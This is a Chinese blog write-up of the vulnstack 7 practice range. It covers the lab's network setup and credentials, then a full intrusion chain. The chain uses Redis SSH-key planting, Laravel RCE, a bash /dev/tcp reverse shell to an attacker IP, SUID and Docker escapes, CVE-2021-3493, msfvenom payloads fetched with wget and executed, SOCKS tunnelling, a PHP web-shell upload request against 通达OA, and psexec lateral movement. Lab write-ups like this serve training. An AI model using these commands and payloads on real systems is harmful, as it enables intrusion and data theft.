vm8是出网网卡,vm2是内网网卡
将VMnet8作为第二层网络的网卡,VMnet2作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。DMZ区域:
给Ubuntu (Web 1)配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二层网络。
第二层网络区域:
给Ubuntu (Web 2)和Windows 7(PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet2上连通第三层网络。第三次网络区域:
给Windows Server 2012和Windows 7(PC 2)都只配置了一个网卡,一个连接在VMnet2上连通第三层网络。
网卡配置不成功看https://blog.csdn.net/qq_44345567/article/details/106039844
服务配置 靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:
DMZ区的 Ubuntu 需要启动redis和nginx服务:
redis-server /etc/redis.conf
/usr/sbin/nginx -c /etc/nginx/nginx.conf
iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:MYOAbinAutoConfig.exe
域用户信息
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
ubuntu1(web1)
ubuntu2(web2)
win7(pc1)
测试成功
Web渗透
信息收集
卡里扫描存活ip
arp-scan -l nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.10.1/24
扫描详细信息
nmap -T4 -sC -sV 192.168.10.130 -p 1-65535 -oN nmap.A
22的ssh
80的nginx
81的Laravel
6379的redis
首先下载redis-cli工具,在kali上连接192.168.1.116:6379上的redis
redis-cli -h 192.168.10.130
有了未授权,我们直接向目标主机写入ssh公钥,先在kali上生成ssh公钥
ssh-keygen -t rsa
然后将公钥导入hi.txt文件(前后用n换行,避免和Redis了其他缓存数据混合),再把hi.txt文件内容写进目标主机的redis缓存里
(echo -e "nn"; cat ~/.ssh/id_rsa.pub; echo -e "nn") > ./ssh.txt cat ./ssh.txt | redis-cli -h 192.168.10.130 -x set ssh
发现一个52网段
ls /home下的文件发现有目录web
cd /etc/nginx/conf.d/
发现目录下有两个配置文件一个是80的一个是81的,80端口404报错查看81端口
发现81端口进行了反向代理
发现是Laravel框架,这个版本为v8.29.0(PHP v7.4.14)
这版本存在远程代码执行漏洞,可以通过exp打,生成shell
使用哥斯拉2.92版本进行连接,最新版本可能加密方式改了所以连接不上去
成功连接
发现是个docker容器
先向kali中反弹一个shell
然后我们在kali上先开启8848端口的监听
nc -lvvp 8848
反弹shell
bash -c 'exec bash -i &>/dev/tcp/192.168.10.129/8848<&1'
目前权限还不够让我们进一步进行渗透
目前的权限是www,我们可以利用容器操纵实体机修改ssh,进行免密登陆
现在的权限不支持我们进行这一步
所以进行提权
首先查找高权限的文件,也就是可以进行root操作的权限
使用find命令来搜索SUID或4000权限的文件
find / -perm -u=s -type f 2>/dev/null
这里查完可以知道home/jobs的shell是以高权限运行的
我们写一个恶意的ps,里面进入shell命令行,修改环境变量,让shell找ps的时候找我们写的恶意ps
cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/jobs ./shell id python -c 'import pty; pty.spawn("/bin/bash")'
运行成功就能高权限root权限了
实现了www用户到root用户的权限提升,我们这台并不是实体机我们需要进行docker特权逃逸
docker特权逃逸
特权模式于版本0.6被引入docker,允许容器内的root拥有外部物理机root的权限,而此前容器内root用户拥有外部物理机普通用户权限
首先我们在docker中新建一个/hi目录用来挂载文件
mkdir /li
尝试将/dev/sda1挂载到/li目录
mount /dev/sda1 /hi
我们在刚才获取的web1主机上生成一个ssh密钥
接下来将我们生成的ssh密钥写入/hi/home/ubuntu/.ssh目录的authorzed_keys文件中,写入后我们就可以使用密钥登录改机器
我们将hi.hub中的密钥写入/hi/home/ubuntu/.ssh/authorized_keys中
cp -avx /hi/home/ubuntu/.ssh/id_rsa.pub /hi/home/ubuntu/.ssh/authorized_keys echo > /hi/home/ubuntu/.ssh/authorized_keys echo '生成的.pub文件的内容' > /hi/home/ubuntu/.ssh/authorized_keys
利用web1上的hi密钥进行登录
发现登入上的用户是ubuntu用户,先信息收集,发现存在93网段
发现版本为ubuntu14.04版本,此版本存在CVE-2021-3493漏洞
影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
(Linux内核版本 < 5.11)
建立一个exploit.c文件,然后将脚本内容粘贴进行,然后编译运行就可以获得权限
注意:vim保存文件首先按下ESC键进入命令模式,再按下Shift+:输入wq!进行保存
提示:vim进行脚本内容粘贴时第一行可能会没有需要手打否则会报错
vim exploit.c gcc exploit.c -o exploit chmod +x exploit ./exploit
成功提权,接下来两台机子上线MSF进攻内网
上线MSF
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=1111 -f elf > ubuntu.elf
use exploit/multi/handler set lhost 192.168.10.129 set lport 1111 set payload linux/x86/meterpreter/reverse_tcp run
wget http://192.168.10.129/ubuntu.elf chmod 777 ubuntu.elf nohup ./ubuntu.elf &
搭建ew代理
在kali上执行
./ew_for_linux64 -s rcsocks -l 1081 -e 23456
在web1上执行
./ew_for_linux64 -s rssocks -d 192.168.10.129 -e 23456
修改文件内的ip
vim /etc/proxychains4.conf
接着,我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:
发现30主机,进行端口扫描
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
我们发现了8080端口上有一个nginx的http服务,在攻击机的浏览器上设置好代理后,成功访问:
抓取页面的包
修改再发包 需修改以下三个地方: /logincheck.php /logincheck_code.php 删除cookie在post包中添加UID=1
POC:https://blog.csdn.net/szgyunyun/article/details/107104288
抓取当前页面的包上传图片马
POST /ispirit/im/upload.php HTTP/1.1 Host: 192.168.52.30:8080 Content-Length: 660 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Cookie: PHPSESSID=123 Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
出现图片马的路径,上传木马
POST /ispirit/interface/gateway.php HTTP/1.1 Host: 192.168.52.30:8080 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.21.0 Content-Length: 70 Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2102/96964187.jpg"}&cmd=whoami
上线win7(pc1)
在kali上生成一个msf的马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.129 LPORT=9999 -f exe >nb.exe
开启监听
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lport 9999 set lhost 192.168.10.129 run
通过kali的http服务将exe文件下载到边界的ubuntu(web1)
ubuntu开启http服务,通过刚才抓到的bp包将exe文件上传到win7(pc1)中
python3 -m http.server 1009
木马执行成功没有回显,但是msf已经成功反弹上
msf反弹显示是低权限,抓取不到密码,直接使用cs上线抓取密码,抓取到明文密码
administrator:Whoami2021 bunny:Bunny2021
在win7(pc1)上搭建代理使kali可以访问93网段
kali上执行
./ew_for_linux64 -s rcsocks -l 1081 -e 23456
win7(pc1)执行
ew_for_Win.exe -s rssocks -d 192.168.10.129 -e 23456
发现存活30、40主机
psexec攻击
至此我们上线域控
原文始发于微信公众号(揽月安全团队):vulnstack——7
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论